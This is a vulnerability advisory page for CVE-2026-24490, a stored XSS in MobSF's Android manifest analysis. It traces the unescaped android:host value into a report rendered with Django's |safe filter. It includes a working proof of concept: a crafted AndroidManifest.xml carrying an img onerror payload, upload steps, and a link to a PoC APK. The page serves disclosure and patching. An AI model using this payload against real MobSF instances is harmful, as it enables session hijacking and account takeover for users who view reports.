🛡️ CVE-2026-24490 — mobile-security-framework

🟠 CVSS 8.1 — High ⚠️ Exploit Public CWE-79 NVD
8.1
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field

Summary

A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The android:host attribute from <data android:scheme="android_secret_code"> elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.

Details

When MobSF analyzes an Android APK containing a <data> element with android:scheme="android_secret_code", it extracts the android:host attribute and inserts it directly into the analysis report without HTML escaping.

Vulnerable Code Path

1. Data Extraction - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 776):

```python

xmlhost = data.getAttribute(f'{ns}:host')

ret_list.append(('dialer_code_found', (xmlhost,), ()))

```

2. Template String Formatting - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 806):

```python

'title': a_template['title'] % t_name, # XSS payload inserted here unescaped

```

3. Template Definition - mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py (line 200):

```python

'dialer_code_found': {

'title': 'Dailer Code: %s Found <br>[android:scheme=\"android_secret_code\"]',

...

}

```

4. Unsafe Rendering - mobsf/templates/static_analysis/android_binary_analysis.html (line 1143):

```html

{{item|key:"title" | safe}}

```

The |safe Django template filter bypasses auto-escaping, allowing the unescaped android:host value to be rendered as raw HTML.

PoC

Step 1: Create Malicious APK

Create an APK with the following AndroidManifest.xml:

```xml

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

package="com.poc.xsstest"

android:versionCode="1"

android:versionName="1.0">

<application android:label="XSS PoC Test">

<receiver android:name=".SecretCodeReceiver" android:exported="true">

<intent-filter>

<action android:name="android.provider.Telephony.SECRET_CODE"/>

<data android:scheme="android_secret_code"

android:host="<img src=x onerror=alert(document.domain)>"/>

</intent-filter>

</receiver>

</application>

</manifest>

```

Step 2: Build the APK

Use apktool or Android build tools to create a valid APK with this manifest.

Step 3: Upload to MobSF

Upload the malicious APK to MobSF for static analysis.

Step 4: Trigger XSS

View the static analysis report in a browser. The JavaScript payload executes automatically.

Confirmed HTML Output

```html

<td>

Dailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme="android_secret_code"]

</td>

```

PoC APK Details

| Field | Value |

|-------|-------|

| Filename | POC_XSS_APK.apk |

| MD5 Hash | 647258656ed03a7e6a0f2acce4ec6a5b |

| Location | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |

Impact

This is a Stored Cross-site Scripting (XSS) vulnerability affecting all MobSF users who analyze the results of the malicious APK file.

Attack Scenario

1. Attacker crafts a malicious APK with XSS payload in the manifest

2. Attacker submits APK to a shared MobSF instance or private mobsf instance.

3. When any user views the analysis report, the XSS payload executes in their browser

<img width="1435" height="675" alt="Screenshot 2026-01-15 at 12 24 29 AM" src="https://github.com/user-attachments/assets/e282a0b2-236e-4199-a7ce-b96017cc7052" />

Tested in MobSF Public Instance as well.

https://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/

<img width="1440" height="780" alt="Screenshot 2026-01-15 at 12 24 57 AM" src="https://github.com/user-attachments/assets/8673b76a-954a-45e7-833a-a64e0a972f2e" />

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability none.

Weakness class

CVE-2026-24490 is classified as CWE-79: Cross-site Scripting (XSS). User-supplied data is written into a page without escaping, so attacker script runs in the browser of anyone who views it.

Affected software

CVE-2026-24490 is recorded against 2 packages.

  • mobile-security-framework (fixed in 4.4.5)
  • mobsf (fixed in 4.4.5)

Timeline and source

Published on 27 January 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com
github.com
github.com

Details

Severity HIGH
CVSS Score 8.1
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
CWE CWE-79
Public Exploit ⚠️ Yes
Source NVD
Published 2026-01-27
Updated 2026-08-12
Modified 2026-06-17

Affected Packages

Software From version Fixed in
mobile-security-framework 4.4.5
mobsf 4.4.5

Similar Threats

Exploit Protection

Are you running mobile-security-framework?

CVE-2026-24490 carries CVSS 8.1 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-24490 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026